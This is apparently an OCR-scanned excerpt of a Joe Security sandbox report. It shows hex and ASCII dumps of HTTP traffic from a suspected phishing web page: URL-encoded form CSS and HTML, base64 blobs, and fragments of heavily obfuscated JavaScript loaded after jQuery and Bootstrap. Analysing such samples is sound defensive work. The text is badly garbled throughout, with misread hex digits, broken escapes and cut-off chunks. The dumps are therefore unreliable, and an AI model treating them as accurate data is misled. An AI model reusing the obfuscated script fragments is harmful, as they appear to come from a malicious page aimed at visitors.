Data Ascii: S2W7p2s06rrv/ZskG+/wED1cljaSuT2So9fvXVnNBXyNXKR25BR+VargWTpDzEeS4P5AHHeXnIcQEX
uqCjhWivVv7HxcPs4bcPd70/AaHFEsIAAHIcY2BkY GBgSvR427prUTy/zVcGbg4GEN]j/92ADiL4adssVRHMwgMU5GZ
hAFABNEwqPAAB4nGNgZGDgYAABOMNIgAqYAALKABOAAAAFKgCMCAAABWDTAAAAAAAAAAAAFGALAESATY
EEAXIAA

Data Raw: 0d Oa
Data Ascii:

Data Raw: 34 30 30 30 0d 0a 42 25 30 41 25 30 39 61 6¢ 69 67 6e 2d 69 74 65 6d 73 25 33 41 25 32 30 63 65 6e 74 65
72 2530 41 25 37 44 25 30 41 2e 66 6f 72 6d 2d 63 6f 6e 74 65 6e 74 25 32 30 2e 66 6f 72 6d 2d 73 75 62 6d 69 74 2e
64 69 73 61 62 6¢ 65 64 2b 2e 73 75 62 6d 69 74 74 65 64 2d 74 65 78 74 25 32 30 2e 73 70 69 6e 6e 65 72 25 32 30 25
37 422530412530 39 6d 61 72 67 69 6e 2d 72 69 67 68 74 25 33 41 25 32 30 31 34 70 78 25 30 41 25 37 44 25 30 41
2e 66 6f 72 6d 2d 63 6f 6e 74 65 6e 74 25 32 30 2e 66 6f 72 6d 2d 73 75 62 6d 69 74 2b 2e 73 75 62 6d 69 74 74 65 64
2d 74 65 78 74 25 32 30 25 37 42 25 30 41 25 30 39 63 6f 6¢ 6f 72 25 33 41 25 32 30 25 32 33 61 36 61 36 61 36 25 33
42 2530 41 25 30 39 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 25 33

Data Ascii: 4000B%0A%09align-items%3A%20center%0A%7D%0A.form-content%20.form-submit.disabled+.submitted-
text%20.spinner%20%7B%0A%09margin-right%3A%2014px%0A%7D%0A.form-content%20.form-submit+.submitted-
text%20%7B%0A%09color%3A%20%23a6a6a6%3B%0A%09background-color%3

Data Raw: 36 2f 6e 79 52 72 55 4e 44 4a 50 34 64 65 37 6¢ 66 4d 51 47 6e 6b 37 6e 48 46 69 71 72 37 6e 2f 46 6a 41 51
44 67 57 67 33 49 2f 62 72 45 65 74 42 63 6f 46 69 37 67 54 2b 33 6e 6a 62 37 71 35 36 66 52 73 6d 42 36 32 2f 6b 69
51 6d 47 55 63 53 4a 50 35 46 65 4c 6e 63 6b 61 6f 71 79 6d 4f 49 63 2f 38 51 48 41 41 41 41 2b 56 33 48 39 74 62 4c 72
61 36 78 52 49 32 78 36 39 35 54 74 64 33 68 6¢ 42 36 41 50 4e 47 7a 42 6b 58 38 79 50 31 56 4c 33 74 53 45 6f 57 7a
70 7a 67 6e 55 51 78 6f 34 37 6¢ 75 43 66 2f 5a 46 50 4d 72 2b 69 70 6d 56 38 79 73 73 4c 48 39 6¢ 71 79314331 356
23063 7a2b 62 6a 4a 46 4c 37 2f 70 70 34 72 76 2f 4f 73 77 6¢ 34 33 39 66 39 65 2f 50 71 39 34 56 76 47 30 36 76 66 3
7 6¢ 44 4c 51 39 76 4f 63 61 7a 58 55 72 63 35 66 71 35 66 31 41

Data Ascii: 6/nyRrUNDJP4de7IfMQGnk7nHFiqr7n/FJAQDgWg3I/brEetBcoFi7gT+3njb7q56fRsmB62/kiQmGUcSIP5Feln
ckaogymOIc/8QHAAAA+V3HItbLrabxRI2x695Ttd3hIB6APNGzBkX8yP1VL3tSEoWzpzgnUQx047IuCf/ZFPMr+ipm
V8yssLHIIqy1C15b0cz+bjIFL7/pp4rv/Oswi439f9e/Pq94VvG06vi7IDLQIVOcazXUrc5fq5f1A

Data Raw: Od Oa
Data Ascii:

Data Raw: 34 30 30 30 0d Oa 57 59 4f 6d 32 7a 58 58 51 78 64 31 2f 38 52 75 48 59 71 71 56 6d 77 53 79 36 74 30 37 48
39 4b 55 51 53 4¢ 6d 56 50 67 52 6a 2b 55 42 2b 47 65 55 58 77 55 73 66 30 53 4b 58 30 5a 76 33 4c 62 56 54 6e 63 42
46 6e 33 2f 48 63 56 2f 33 48 5a 4d 41 77 62 6a 76 47 6d 6f 75 6a 36 5a 68 66 51 6e 53 6¢ 4d 6d 71 68 39 2b 49 55 72 2f
67 48 45 42 34 70 58 58 44 5a 58 77 6¢ 44 2f 37 38 38 4c 2f 4c 77 2b 2f 6f 4a 2b 4d 6b 37 39 30 72 44 65 42 43 4d 69 74
6b 39 78 64 53 57 62 37 48 78 6¢ 44 71 30 62 34 72 4b 48 4c 69 46 73 4b 4e 45 4b 4a 66 75 2b 74 70 68 43 79 45 4f 45
72 78 51 58 35 4e 69 32 57 34 2b 61 54 70 63 4e 76 79 33 79 76 75 6d 64 55 58 35 44 62 51 47 52 31 78 52 66 46 2f 69
5a 4e 76 54 35 48 46 59 42 72 41 5a 6d 6a 6f 34 37 79 65 74 34 45

Data Ascii: 4000WYOm2zXXQxd1/8RuHYqqVmwSy6t07HIKUQSLmMVPgRj+UB+GeUXwUsfOSKX0Zv3LbVTncBFn3/H
cV/BHZMAwWbjvGmouj6ZhfQnSIMmah9+IUr/gHEB4pXXDZXwID/788L/Lw+/0J+Mk790rDeBCMitk9xdSWb7HxIDg0b
4rKHLiFsKNEKJfu+tphCyEOErxQX5Ni2W4+aTpcNvy3yvumdUX5DbQGRIXRF/IZNVTSHFYBrAZmjo47yetdE

Data Raw: 49 57 46 4d 63 62 74 4f 2b 6f 6b 69 70 63 30 46 64 74 70 59 4a 6e 47 70 68 34 61 77 6d 71 4c 6a 42 57 70 2f
71 4c 69 44 4b 37 32 49 55 74 78 66 6d 39 42 56 78 63 41 71 4a 4f 39 6¢ 46 4d 45 4c 69 74 64 62 65 2b 6e 69 49 73 4a
5a 49 31 53 4e 31 75 69 6e 34 52 32 35 2b 74 61 38 6¢ 68 46 47 4f 74 64 41 5a 75 74 30 33 41 4e 72 59 51 51 72 50 58
57 75 65 6f 54 6e 37 56 67 6e 4a 34 69 2f 59 64 56 56 4b 46 5a 4d 33 37 46 54 73 6d 54 7a 54 77 4e 79 52 72 67 4c 47 7
a 59 51 6f 48 6¢ 50 6b 4c 2b 41 76 73 76 30 65 2b 7a 57 2f 6 58 64 4d 39 6¢ 63 39 30 4c 6d 36 56 6¢ 51 74 31 72 4¢ 36 6
84a 4576 70 6¢ 63 44 74 4a 6¢ 47 39 6d 59 50 69 51 38 46 74 6b 2f 58 34 2b 33 33 45 57 39 67 4e 38 66 47 55 5a 4f 31
59 72 39 79 51 43 58 61 33 55 4a 31 72 64 6e 58 67 6b 4f 48 57 67

Data Ascii: IWFMcbtO+okipcOFdtpYJInGph4awmqLjBWp/qLIDK721Utxfm9BVXcAqJO9IFMELitdbe+nilsJZIISN1uindR25
+ta8lhFGOtdAZutO3ANrYQQrPXWueoTn7VgnJ4i/YdVVKFZM37FTsmTzTwNyRrgLGzYQoHIPKL+Avsv0e+zW/oXdM9
1c90LM6VIQt1rLE6hJEVplcDtIIGOMY PiQ8Ftk/X4+33EW9gN8fGUZO1Yr9yQCXa3UJ1rdnXgkOHWg

Data Raw: Od Oa
Data Ascii:

Data Raw: 34 30 30 30 0d Oa 41 41 41 41 41 41 43 51 45 4a 49 31 41 41 41 41 41 41 41 41 4353 46 5a 41 77 41 41 41
414141 6b42 4353 4e5141414141414141416b6857514d41 4141414141 4a41516b6ab554141414141
4141 41 4a 49 56 6b 44 41 41 41 41 41 41 43 51 454249 314141 4141 41 41 41 41 4353 46 5a 4177 41 41 41 41 41
41 6b 42 4353 4e 51 41 41 41 41 41 41 41 41 6b 68 57 51 4d 41 41 41 41 41 41 4a 41 51 6b 6a 55 41 4141 4141 41 41
414a49566b444141414141414351454a493141414141414141414353465a41774141414141416b
42 4353 4e 51 41 41 41 41 41 41 41 41 6b 68 57 51 4d 41 41 41 41 41 41 4a 41 51 6b 6a 55 41 41 41 41 41 41 41 41 4a
4956 6b 44 4141 41414141 4351454a4931414141414141414143

Data Ascii: 4000AAAAAACQEJITAAAAAAAACSFZAWAAAAAAKBCSNQAAAAAAAAKhWQMAAAAAAIAQKUA
AAAAAAAJIVKDAAAAAACQEJITAAAAAAAACSFZAWAAAAAAKBCSNQAAAAAAAAKhWQMAAAAAAIAQKIUAAAAA
AAAJIVKDAAAAAACQEJITAAAAAAAACSFZAWAAAAAAKBCSNQAAAAAAAAKhWQMAAAAAAIAQKIUAAAAAAAAT
IVKDAAAAAACQEJIIAAAAAAAAC

Data Raw: 73 4d 77 4a 4d 38 42 6b 78 48 4a 50 67 67 73 76 30 43 37 66 30 45 47 72 54 35 6e 6e 76 47 58 4c 64 2b 35
7543 68 51 30 4e 56 35 38 31 45 75 73 51 41 69 4e 71 43 44 2f 36 5a 53 6e 57 78 56 62 6b 45 4f 4d 75 31 2f 51 37 41
73 42 6d 49 54 45 48 55 57 52 67 38 62 33 69 34 75 57 67 43 4c 6b 78 41 51 42 63 5a 41 4f 67 47 77 75 49 50 6b 74 59
6b 69 47 73 6d 4e 4a 74 4e 75 75 66 75 75 38 66 63 75 6e 76 6d 34 45 47 59 51 42 43 57 42 71 43 36 44 4d 32 55 6e 73
6d 56 69 79 34 68 54 64 78 35 30 6d 6f 32 6d 33 54 33 33 5a 4e 6a 64 64 63 39 63 77 41 6d 73 41 52 4c 41 77 44 5a 30
65 4a 62 47 74 73 55 77 5a 47 41 6f 6b 30 43 6e 33 5a 4e 59 48 4c 4d 64 64 30 7a 42 77 34 65 48 4e 49 57 50 43 4e 34
47 6f 44 43 4b 57 31 56 46 4f 6a 71 66 6d 36 67 2b 36 6f 6a 34 53 48 41 4f

Data Ascii: SMwJIM8BkxHJPggsvOC7fOEGrT5nnvGXLd+5uChQONV581EusQAINgCD/6ZSnWxVbKkEOMul/Q7AsBml
TEHUWRg8b3i4uWgCLkxAQBcZAOgGwulPktYkiGsmNJtNuufuu8fcunvm4EGY QBCWBgC6DM2UnsmViy4h
Tdx50m02m3T33ZNjddc9cwAmsARLAWDZ0eJbGtsUwZGAokOCn3ZNYHLMdd0zBw4eHNIWPCN4GoDCKW1V
FOjqfm6g+60j4SHAO

Data Raw: 0d Oa
Data Ascii:
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Timestamp T Direction
2022-05-13 12:56:24 UTC 2229 IN
2022-05-13 12:56:24 UTC 2237 IN
2022-05-13 12:56:24 UTC 2245 IN
2022-05-13 12:56:24 UTC 2245 IN
2022-05-13 12:56:24 UTC 2253 IN
2022-05-13 12:56:24 UTC 2261 IN
2022-05-13 12:56:24 UTC 2261 IN
2022-05-13 12:56:24 UTC 2269 IN
2022-05-13 12:56:24 UTC 2277 IN
2022-05-13 12:56:24 UTC 2277 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 34 30 30 30 0d 0Oa 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 33 43 73 70 61
6e 25 33 45 35 36 2e 31 4b 42 25 33 43 2f 73 70 61 6e 25 33 45 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30
2532 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30
2532 302532 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30
25 32 30 25 33 43 2f 64 69 76 25 33 45 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32
30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32
30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 33 43

Data Ascii: 400020%20%20%20%20%20%20%20%3Cspan%3E56.1KB%3C/span%3E%0A%20%20%20%2
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%3C/div%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2
0%20%20%20%20%20%20%20%3C

Data Raw: 32 30 63 6¢ 61 73 73 25 33 44 25 32 32 66 6f 72 6d 2d 65 72 72 6f 72 2d 63 6f 6e 74 61 69 6e 65 72 25 32 32
253345 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30
25 3230 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30
25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 33 43 63 65 6e 74 65 72 25 33 45 25 30 41
25 32302532 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30
25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30
25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30

Data Ascii: 20class%3D%22form-error-container%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20
9%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ccenter%3E%0A%20%2
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20

Data Raw: 0d Oa
Data Ascii:

Data Raw: 34 30 30 30 0d Oa 61 78 2e 67 6f 6f 67 6¢ 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6¢ 69 62 73 2f 6a 71
7565 72 79 2f 32 2e 32 2e 34 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d Oa 3c 73
637269 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 63 6b 70 61 74 68 2e 62 6f 6f 74 73 74 72 61 70 63 64
6e 2e 63 6f 6d 2f 62 6f 6f 74 73 74 72 61 70 2f 34 2e 31 2e 33 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73
223e 3c 2f 7363 72 69 70 74 3e 0d Oa 0d Oa 3c 73 63 72 69 70 74 3e 0d Oa 28 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 29
7b 76 61 72 20 6b 3d 69 28 29 3b 66 75 6e 63 74 69 6f 6e 20 58 28 69 2c 6a 2¢ 6b 2c 6¢ 2¢ 6d 29 7b 72 65 74 75 72 6e
20 68 28 69 2d 27 5¢ 78 33 30 5¢ 78 37 38 5¢ 78 33 33 5¢ 78 33

Data Ascii: 4000ax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script><script src="https://stackpath.bootstra
pcdn.com/bootstrap/4.1.3/js/bootstrap.min.js"></script><script>(function(i,j){var k=i();function X(ij,k,I,m){return h(i-
"\x30\x78\x33\x3

Data Raw: 33 31 5¢ 78 33 34 5¢ 78 33 31 27 2c 6d 2c 6¢ 2d 27 5¢ 78 33 30 5¢ 78 37 38 5¢ 78 33 31 5¢ 78 33 32 5¢c 78 33
34 27 2c 6a 2d 30 78 31 65 36 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 61 38 28 69 2c 6a 2c 6b 2c 6¢ 2c 6d 29 7b 72 65 74
75 72 6e 20 61 35 28 69 2d 27 5¢c 78 33 30 5¢ 78 37 38 5¢ 78 33 31 5¢ 78 33 32 5¢ 78 33 39 27 2c 6a 2d 27 5¢ 78 33 30
5c 78 37 38 5¢ 78 33 31 5¢ 78 33 33 5¢ 78 36 33 27 2c 6a 2¢ 6¢ 2d 27 5¢ 78 33 30 5¢ 78 37 38 5¢ 78 33 31 5¢ 78 36 36 5
c 78 33 33 27 2c 6d 2d 20 2d 27 5¢ 78 33 30 5¢ 78 37 38 5¢ 78 36 32 5¢c 78 36 33 27 29 3b 7d 69 66 28 69 5b 61 63 28
30 78 62 64 2c 27 5¢ 78 33 30 5¢ 78 37 38 5¢ 78 33 32 5¢ 78 33 37 5¢ 78 36 32 27 2c 27 5c 78 35 64 5¢ 78 37 36 5¢ 78
3331 5c 78 3339 27 2c 27 5¢ 78 33 30 5¢ 78 37 38 5¢ 78 33 31 5¢ 78 36

Data Ascii: 31\x34\x31',m,|-'\x30\x78\x31\x32\x34',j-0x1e6);}function a8(i,j,k,|,m){return a5(i-'\x30\x78\x31\x32\x39",j-
X30\x78\x31\x33\x63"j,I-'\x30\x78\x31\x66\x33',m- -'\x30\x78\x62\x63"); }if(i[ac(0xbd, \x30\x78\x32\x37\x62", \x5d\x 7
6\x31\x39','\x30\x78\x31\x6

Data Raw: Od Oa
Data Ascii:

Data Raw: 34 30 30 30 0d Oa 30 5c 78 37 38 5¢ 78 33 39 5¢ 78 33 30 5¢ 78 36 32 27 2¢ 30 78 39 65 33 2¢ 27 5¢ 78 33 30
5c 78 37 38 5¢ 78 33 36 5¢ 78 36 36 5¢ 78 33 36 27 2¢ 30 78 37 39 31 2¢ 27 5¢ 78 36 64 5¢ 78 36 35 5¢ 78 34 30 5¢c 78
33312729 2b 61 7a 28 30 78 31 62 66 2c 27 5¢ 78 33 30 5¢ 78 37 38 5¢ 78 33 32 5¢ 78 33 30 5¢ 78 33 32 27 2¢ 27 5¢
78 36 66 5¢c 78 35 33 5¢ 78 37 38 5¢ 78 37 33 27 2¢ 30 78 33 34 39 2¢ 27 5¢ 78 33 30 5¢c 78 37 38 5¢ 78 33 31 5¢ 78 33 3
6 5c 78 36 34 27 29 2¢ 27 5¢ 78 37 37 5¢ 78 34 65 5¢ 78 36 37 5¢ 78 36 36 5¢ 78 37 31 27 3a 61 78 28 30 78 35 35 32 2¢
30 78 33 62 37 2¢ 27 5¢ 78 33 30 5¢ 78 37 38 5¢ 78 33 33 5¢ 78 36 32 5¢ 78 36 34 27 2¢ 30 78 33 63 62 2¢ 27 5¢ 78 33
38 5¢ 78 36 61 5¢ 78 34 30 5¢ 78 34 38 27 29 2b 61 78 28 30 78 36 37

Data Ascii: 40000\x78\x39\x30\x62',0x9e3,"\x30\x78\x36\x66\x36',0x 791, '\x6d\x65\x40\x31") +az(0x1bf, \x30\x78\x
32\x30\x32','\x6f\x53\x78\x73',0x349, \x30\x78\x31\x36\x64"), \x 77\x4e\x67\x66\x 71":ax(0x552,0x3b 7,"\x30\x 78\x33\x62\x64
',0x3cb,"\x38\x6a\x40\x48")+ax(0x67

Data Raw: 78 37 30 27 3a 66 75 6e 63 74 69 6f 6e 28 6a 2c 6b 29 7b 72 65 74 75 72 6e 20 6a 2b 6b 3b 7d 2¢ 27 5¢ 78 36
61 5¢ 78 37 37 5¢ 78 36 39 5¢ 78 34 34 5¢ 78 34 34 27 3a 61 51 28 27 5¢ 78 37 32 5¢ 78 34 30 5c 78 37 34 5¢ 78 36 62
27 2¢ 30 78 36 63 33 2c 27 5¢ 78 33 30 5¢ 78 37 38 5¢ 78 33 35 5¢ 78 33 30 5¢ 78 33 33 27 2¢ 30 78 35 65 63 2¢ 30 78
37 37 32 29 2¢ 27 5¢ 78 35 37 5¢ 78 34 36 5¢ 78 37 36 5¢ 78 36 34 5¢ 78 35 34 27 3a 66 75 6e 63 74 69 6f 6e 28 6a 2¢c 6
b 29 7b 72 65 74 75 72 6e 20 6a 3d 3d 3d 6b 3b 7d 2¢ 27 5¢ 78 34 36 5¢ 78 36 63 5¢ 78 37 31 5¢ 78 35 61 5¢ 78 36 64
27 3a 6153 2827 5c 78 37 32 5¢ 78 34 30 5¢ 78 37 34 5¢ 78 36 62 27 2¢ 30 78 37 35 35 2¢ 27 5¢ 78 33 30 5¢ 78 37 38
5c 78 33 39 5¢ 78 33 34 5¢ 78 33 36 27 2¢ 27 5c 78 33 30 5c¢ 78 37 38 5¢

Data Ascii: x70"function(j,k){return j+k;},'\x6a\x77\x69\x44\x44":aQ("\x72\x40\x74\x6b',0x6¢3,"\x30\x 78\x35\x30\x33',0x
5ec,0x772),'\x57\x46\x76\x64\x54":function(j,k){return j===k;},'\x46\x6¢\x71\x5a\x6d":aS("\x72\x40\x74\x6b',0x 755, \x30\
X78\x39\x34\x36',"\x30\x78\

Data Raw: 0d Oa
Data Ascii:

Data Raw: 34 30 30 30 0d Oa 5c 78 36 66 5¢ 78 37 37 5¢ 78 36 39 5¢ 78 34 37 5¢ 78 32 66 5¢ 78 36 34 5¢ 78 35 34 5¢ 78
3338 5c 78 36 62 5¢ 78 35 35 5¢ 78 36 63 5¢ 78 35 33 5¢ 78 36 66 5¢ 78 34 35 5¢ 78 37 34 5¢ 78 33 33 5¢ 78 35 37 5¢
78 36 62 27 2c 27 5¢ 78 35 37 5¢ 78 35 31 5¢ 78 35 36 5¢ 78 36 34 5¢ 78 34 62 5¢ 78 35 33 5¢ 78 36 62 5¢ 78 33 34 5¢
78 36 64 5¢c 78 35 33 5¢ 78 36 62 5¢ 78 35 36 27 2c 27 5¢ 78 35 37 5¢ 78 34 66 5¢ 78 36 39 5¢ 78 35 35 5¢ 78 36 31 5¢ 7
83439 5c 78 37 30 5¢ 78 36 34 5¢ 78 34 63 5¢ 78 35 37 27 2c 27 5¢ 78 37 33 5¢ 78 33 38 5¢ 78 36 66 5¢ 78 37 37 5¢ 78
36 36 5¢ 78 34 65 5¢ 78 35 32 5¢ 78 36 33 5¢ 78 35 36 5¢ 78 37 31 27 2¢ 27 5¢ 78 36 62 5¢ 78 36 64 5¢ 78 36 62 5¢ 78
34 35 5c 78 34 35 5¢ 78 33 38 5¢ 78 36 66 5¢ 78 34 39 5¢ 78 35 37 5¢

Data Ascii: 4000\x6f\x77\x69\x47\x2f\x64\x54\x38\x6b\x55\x6c\x53\x6f\x45\x74\x33\x57\x6b', '\x57\x51\x56\x64\x4
b\x53\x6b\x34\x6d\x53\x6b\x56', \X57\x4f\x69\x55\x61\x49\x70\x64\x4c\X57","\x 73\x38\x6f\X 77\x66\x4€\x52\X63\X56\X 71", \x
6b\x6d\x6b\x45\x45\x38\x6f\x49\x57\
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kBytes

Timestamp T Direction
2022-05-13 12:56:24 UTC 2285 IN
2022-05-13 12:56:24 UTC 2293 IN
2022-05-13 12:56:24 UTC 2293 IN
2022-05-13 12:56:24 UTC 2301 IN
2022-05-13 12:56:24 UTC 2309 IN
2022-05-13 12:56:24 UTC 2309 IN
2022-05-13 12:56:24 UTC 2317 IN
2022-05-13 12:56:24 UTC 2325 IN
2022-05-13 12:56:24 UTC 2325 IN
2022-05-13 12:56:24 UTC 2333 IN
2022-05-13 12:56:24 UTC 2341 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 34 31 5c 78 35 37 5¢ 78 35 30 5¢ 78 35 36 5¢ 78 36 34 5¢ 78 34 37 5¢ 78 36 31 27 2¢ 27 5¢ 78 35 37 5¢ 78 34
66 5¢ 78 33 35 5¢ 78 35 39 5¢ 78 35 37 5¢ 78 35 32 5¢ 78 33 37 5¢ 78 36 33 5¢ 78 35 33 5¢ 78 33 38 5¢ 78 36 62 5¢ 78
37 3027 2c 27 5¢ 78 37 35 5¢ 78 36 64 5¢ 78 36 66 5¢ 78 33 30 5¢ 78 37 30 5¢ 78 37 31 27 2¢ 27 5¢ 78 35 37 5¢ 78 33
34 5¢ 78 34 32 5¢ 78 36 34 5¢ 78 35 36 5¢ 78 36 37 5¢ 78 34 33 5¢ 78 33 31 5¢ 78 36 62 5¢ 78 36 31 27 2¢ 27 5¢ 78 34 3
4 5¢ 78 33 38 5¢ 78 36 66 5¢ 78 34 66 5¢ 78 36 34 5¢ 78 33 30 5¢ 78 34 61 5¢ 78 36 33 5¢ 78 34 38 5¢ 78 37 31 27 2¢ 27
5c 78 37 61 5¢ 78 36 64 5¢ 78 36 62 5¢ 78 33 39 5¢ 78 35 37 5¢ 78 35 30 5¢ 78 35 33 5¢ 78 37 36 5¢ 78 35 37 5¢ 78 33
37 5¢c 78 34 33 27 2¢ 27 5¢ 78 35 37 5¢ 78 33 35 5¢ 78 34 38 5¢ 78 36

Data Ascii: 41\x57\x50\x56\x64\x47\x61",'\x57\x4f\x35\x59\x57\x52\x37\x63\x53\x38\x6b\x 70", \x75\x6d\x6f\x30\x 70\x 71","\
x57\x34\x42\x64\x56\x67\x43\x31\x6b\x61','\x44\x38\x6f\x4f\x64\x30\x4a\x63\x48\x 71", \x 7a\x6d\x6b\x39\x5 7\x50\
x53\x76\x57\x37\x43","\x57\x35\x48\x6

Data Raw: 0d Oa
Data Ascii:

Data Raw: 34 30 30 30 0d Oa 37 5¢ 78 36 39 27 2c 27 5¢ 78 36 38 5¢ 78 36 33 5¢ 78 34 37 5¢ 78 34 62 5¢ 78 37 35 5¢ 78
3437 27 2c 27 5¢ 78 36 32 5¢ 78 33 38 5¢ 78 36 66 5¢ 78 33 34 5¢ 78 34 36 5¢ 78 37 31 5¢ 78 36 31 5¢ 78 32 62 27 2¢
27 5¢c 78 37 36 5¢ 78 34 33 5¢ 78 36 66 5¢ 78 34 61 5¢ 78 37 61 5¢ 78 33 38 5¢ 78 36 66 5¢ 78 35 32 5¢ 78 37 37 5¢ 78
36 31 27 2c 27 5¢ 78 36 39 5¢ 78 35 33 5¢ 78 36 66 5¢ 78 33 37 5¢ 78 35 37 5¢ 78 33 36 5¢ 78 37 35 5¢ 78 36 32 27 2¢ 2
7 5c 78 34 33 5¢ 78 35 33 5¢ 78 36 66 5¢c 78 33 32 5¢ 78 35 37 5¢ 78 33 37 5¢ 78 34 37 5¢ 78 36 35 5¢ 78 37 39 5¢ 78 37
3127 2c 27 5¢ 78 37 33 5¢ 78 36 32 5¢ 78 35 61 5¢ 78 36 34 5¢ 78 34 62 5¢ 78 36 33 5¢ 78 33 34 5¢ 78 36 35 27 2¢ 27
5c 78 35 37 5¢ 78 33 37 5¢ 78 34 36 5¢ 78 36 34 5¢ 78 34 62 5¢ 78 37

Data Ascii: 40007\x69','\x68\x63\x47\x4b\x75\x47","\x62\x38\x6f\x34\x46\x71\x61\x2b","\x76\x43\x6f\x4a\x 7a\x38\x6f\x52\x
77\x61','\x69\X53\x6f\x37\x57\x36\X 75\x62'", \x43\X53\X6\X32\x57\X37\x4 7\X65\X 79\X 71", \X 73\x62\x5a\x64\x4b\x6 3\x34\x65'
,'\X57\x37\x46\x64\x4b\x7

Data Raw: 5¢ 78 36 66 5¢c 78 37 31 5¢ 78 37 38 5¢ 78 37 35 5¢ 78 36 64 5¢ 78 34 61 27 2¢ 27 5¢ 78 35 37 5¢ 78 33 37 5¢
7834 62 5¢ 78 37 33 5¢c 78 37 32 5¢ 78 33 38 5¢ 78 36 66 5¢ 78 33 32 5¢ 78 36 65 5¢ 78 37 31 27 2c 27 5¢ 78 35 37 5¢
78 34 66 5¢ 78 34 65 5¢ 78 36 34 5¢ 78 34 65 5¢ 78 34 33 5¢ 78 36 66 5¢ 78 34 32 27 2c 27 5¢ 78 35 37 5¢ 78 35 30 5¢
7834 32 5¢ 78 36 33 5¢ 78 35 30 5¢ 78 36 37 5¢ 78 37 34 5¢ 78 36 33 5¢ 78 34 65 5¢ 78 35 61 5¢ 78 36 64 27 2¢ 27 5¢ 7
837 385c 7836 38 5¢c 78 34 61 5¢ 78 36 33 5¢ 78 34 37 5¢ 78 34 37 27 2¢ 27 5¢ 78 36 38 5¢ 78 34 33 5¢ 78 36 62 5¢ 78
34 38 5c 78 37 61 5¢ 78 36 64 5c 78 36 66 5¢ 78 36 32 5¢ 78 35 37 5¢ 78 34 66 5¢ 78 33 38 27 2¢ 27 5¢ 78 36 39 5¢ 78
34 33 5¢ 78 36 66 5¢ 78 34 35 5¢ 78 35 37 5¢ 78 33 35 5¢ 78 36 31 5¢

Data Ascii: \x6f\x71\x78\x75\x6d\x4a’,'\x57\x37\x4b\x73\x72\x38\x6f\x32\x6e\x71',"\x57\x4f\x4e\x64\x4e\x43\x6f\x42","\x5
7\x50\x42\x63\x50\x6 7\x74\x63\x4e\x5a\x6d', \x78\x68\x4a\x63\x4 7\x47",'\x68\x43\x6b\x48\x 7a\x6 d\x6f\x6 2\x5 7\x4f\x38","\x
69\x43\x6f\x45\x57\x35\x61\

Data Raw: Od Oa
Data Ascii:

Data Raw: 34 30 30 30 0d Oa 5¢ 78 35 33 5¢ 78 36 66 5¢ 78 34 36 5¢ 78 36 36 5¢ 78 34 37 27 2¢ 27 5¢ 78 36 39 5c 78 34
61 5c 78 37 39 5¢ 78 36 64 5¢ 78 34 32 5¢ 78 34 33 5¢ 78 36 62 5¢ 78 34 34 27 2c 27 5¢c 78 35 37 5¢ 78 34 66 5c 78 36
31 5c 78 3331 5c 78 36 61 5¢ 78 36 33 5¢ 78 34 36 5¢ 78 36 34 5¢ 78 35 31 5¢ 78 35 37 27 2c 27 5¢ 78 35 37 5¢ 78 33
355¢ 78 35 36 5¢ 78 36 34 5¢ 78 34 39 5¢ 78 35 61 5¢ 78 36 32 5¢ 78 35 39 5¢ 78 36 63 5¢ 78 34 37 27 2c 27 5¢c 78 36 6
55¢ 78 33 38 5¢ 78 36 66 5¢c 78 34 38 5¢ 78 35 37 5¢ 78 33 35 5¢ 78 36 31 5¢ 78 33 36 5¢ 78 37 30 5¢ 78 37 31 27 2¢ 27
5c 78 35 37 5¢ 78 34 66 5¢ 78 35 61 5¢ 78 36 34 5¢ 78 35 30 5¢ 78 34 33 5¢ 78 36 62 5¢ 78 34 32 5¢ 78 35 37 5¢ 78 35
32 5¢ 78 37 32 5¢ 78 34 39 27 2¢ 27 5¢ 78 37 39 5¢ 78 36 35 5¢ 78 34

Data Ascii: 4000\x53\x6f\x46\x66\x47",'\x69\x4a\x79\x6d\x42\x43\x6b\x44",'\x57\x4f\x61\x31\x6a\x63\x46\x64\X51\x57","\x5
